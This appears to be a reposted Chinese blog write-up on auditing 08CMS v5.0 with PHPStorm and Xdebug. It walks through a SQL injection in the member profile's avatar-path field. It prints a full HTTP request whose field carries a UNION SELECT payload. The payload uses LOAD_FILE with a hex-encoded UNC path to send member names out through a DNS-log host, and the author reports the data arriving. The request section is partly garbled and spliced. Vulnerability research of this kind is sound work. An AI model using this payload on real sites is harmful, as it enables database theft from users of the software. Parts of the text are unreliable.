当前位置:网站首页 > 黑客培训 > 正文

动态分析小示例| 08CMS SQL 注入分析

freebuffreebuf 2018-04-10 255 0

本文来源:i_春秋

i春秋作家:yanzm

0x00 背景

本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不好操作,刚好这周小三上位(换了新电脑),就直接安装下phpstorm+xdebug+xdebug-ext(火狐)进行动态分析,本篇主要是以SQL注入漏洞为例子,进行动态分析的演练,当然源码还有其他漏洞待挖掘,期待师傅们一起交流讨论。

0x01 审计过程

动态分析环境配置

动态分析组合:phpstorm+xdebug+xdebug-ext(火狐) 

相信小伙伴们关注本公号这么久这个环境搭建应该是没问题了,这里我就列出几个配置要点。如果还有不明白的可以参考:http://www.cnblogs.com/xujian2016/p/5548921.html

PHP的设置

首先根据电脑的PHP版本下载适配的xdebug插件放在\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll,下载地址:https://xdebug.org/download.php

然后在PHP.ini文件中进行如下配置,配置完成后查看phpinfo中xdebug是否有生效。

[XDebug]

zend_extension="D:\soft\phpStudy\PHPTutorial\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll"

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

xdebug.profiler_output_dir="D:\soft\phpStudy\PHPTutorial\tmp\xdebug"

xdebug.trace_output_dir="D:\soft\phpStudy\PHPTutorial\tmp\xdebug"

xdebug.profiler_output_name = "cache.out.%t-%s"

xdebug.remote_enable = 1

xdebug.remote_handler = "dbgp"

xdebug.remote_host = "127.0.0.1"

xdebug.remote_port = 9000

xdebug.idekey = PHPSTORM

phpstorm的设置

配置运行环境,加载php.exe所在的位置。

image.png

配置debug端口,默认是9000与php.ini中的debug端口一致即可。

image.png


配置proxy端口和IDE key,端口与站点端口一致即可。

image.png

在编辑结构处进行如下设置:

image.png


image.png

xdebug-ext(火狐)

火狐最好使用开发者版本否则很多插件无法使用。 

安装xdebug-ext插件后,在设置中配置好IDE key。

image.png


image.png

基本使用

在访问要调试的目标页面时候开启phpstorm的debug连接监听,就是那个小电话。

image.png

然后火狐浏览器开启那个小瓢虫。

image.png

开启后进行请求就会自动打上XDEBUG_SESSION=PHPSTORM,IDE 就能进行调试。

image.png

SQL 注入问题

0x00 相关环境

源码信息:08cms_v5.0_gbk_20140314 

问题文件: \08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php 

漏洞类型:SQL注入问题 

站点地址:http://www.08cms.com/

0x01 漏洞分析

这个08cms的源码素材数据传递比较复杂,所以没有像之前使用notepad++进行静态跟踪和审计的方法,而是采用phpstorm+xdebug+xdebug-ext(火狐)的组合,进行动态分析和数据流的跟踪。

在站点注册会员后登录到会员中心。

image.png

在左侧基本信息->基本资料->会员详情->上传附件上面的输入框中,经过简要的测试,知道这个地方是上传后的图片路径。

image.png

本着见框就插习惯(存放路径的输入框代码规则的复杂),开始进行测试,发现这个位置可以引入单引号。

image.png


image.png

但是在构造SQL语句的时候发现,这个位置有对输入的数据进行处理,所以黑盒的方式不好构造Payload,因此开始进行debug,由于提交的表单链接是http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHubb3mAjcyGbJR0q

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: [url]http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy[/url]

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.8

Cookie: VGM_userauth=iCWfvAR8iseJ5T3P9bVHw%2BZLTvqmLhL8vMS0IIj3ZoEOL2%2Fa%2Fax8vtdH

 

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="_08_hash"

 

5228bb59d0b24b049a00dbc1c21fae97

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[nicename]"

 

Thinking

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[mlogo]"

 

[url]http://127.0.0.1:8081/userfiles/image/20180328/'union[/url] select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))-- 1a=28164700edc421674c5194.jpg

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[phone]"

 

18988888888

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[email]"

 

[email]thinking@qq.com[/email]

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[qq]"

 

88888888

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[coid20]"

 

0

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[birthday]"

 

 

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[**]"

 

1

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[education]"

 

1

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="fmdata[profession]"

 

 

------WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name="bsubmit"

 

 {

------WebKitFormBoundaryHubb3mAjcyGbJR0q--


请求后查看DNSlog可以获取到查询数据。

image.png

0x02 小结

本篇以08cms SQL注入漏洞为例子与大家分享下我使用的动态分析方式,也有师傅推荐使用vscode,看大家的使用习惯了,我是习惯使用phpstorm,如果师傅们还有其他好的审计方法也可提出,欢迎提供审计素材一起学习进步,但是如果是hc请走开勿扰,交流学习可联系我。


注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。


转载请注明来自网盾网络安全培训,本文标题:《动态分析小示例| 08CMS SQL 注入分析》

标签:

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表